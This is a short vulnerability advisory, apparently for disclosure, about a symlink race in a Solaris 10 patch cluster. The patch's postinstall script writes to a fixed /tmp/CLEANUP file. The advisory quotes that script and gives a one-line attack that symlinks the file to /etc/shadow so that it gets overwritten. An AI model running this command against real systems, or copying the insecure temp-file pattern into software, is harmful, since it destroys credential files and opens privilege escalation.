Solaris 10 Patch Cluster File Clobber

`File clobbering vulnerability in Solaris 10 patch cluster  
3/27/2013  
Larry W. Cashdollar  
@_larry0  
  
Hello,  
  
The 147147-26 patch creates a CLEANUP file in /tmp that is vulnerable to symlink attacks:  
  
The contents of the file created in /tmp are:  
  
/sbin/sh:root@dev-unix-sec02# cat CLEANUP  
  
EXISTING_FILE_PRESERVED: /var/run/.patchSafeMode/root/etc/security/audit_event /var/run/.patchSafeMode/root/etc/security/audit_event.new  
  
EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/sendmail.cf /var/run/.patchSafeMode/root/etc/mail/sendmail.cf.old EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/submit.cf /var/run/.patchSafeMode/root/etc/mail/submit.cf.old  
  
Sendmail has been upgraded to version 8.14.5 . After you reboot, you may want to run  
  
/usr/sbin/check-hostname  
and  
  
/usr/sbin/check-permissions ALL  
  
These two shell-scripts will check for common mis-configurations and recommend corrective action, or report if things are OK.  
  
-rw-r--r-- 1 root other 662 Mar 27 13:03 CLEANUP  
  
The vulnerable code can be found in ./SUNWsndmu/install/postinstall:  
  
540 CLEANUP=/tmp/CLEANUP  
541  
542 if [ "x$UPDATE" = xyes ]; then  
  
543 VERSION=`grep '^DZ' $PKG_INSTALL_ROOT/etc/mail/sendmail.cf | \  
544 sed -e s/DZ//`  
545 echo "\nSendmail has been upgraded to version $VERSION ." >>$CLE  
ANUP  
546 echo "After you reboot, you may want to run" >>$CLEANUP  
547 echo "\t/usr/sbin/check-hostname" >>$CLEANUP  
548 echo "and" >>$CLEANUP  
549 echo "\t/usr/sbin/check-permissions ALL" >>$CLEANUP  
550 echo "These two shell-scripts will check for common" >>$CLEANUP  
551 echo "misconfigurations and recommend corrective" >>$CLEANUP  
552 echo "action, or report if things are OK.\n" >>$CLEANUP  
  
553 fi  
  
A simple attack in /tmp can clobber /etc/shadow:  
  
[/tmp $] ln -s /etc/shadow CLEANUP  
  
Will over write the contents of /etc/shadow.  
  
Oracle has been notified 3/27/2013 and they are working on a fix.  
`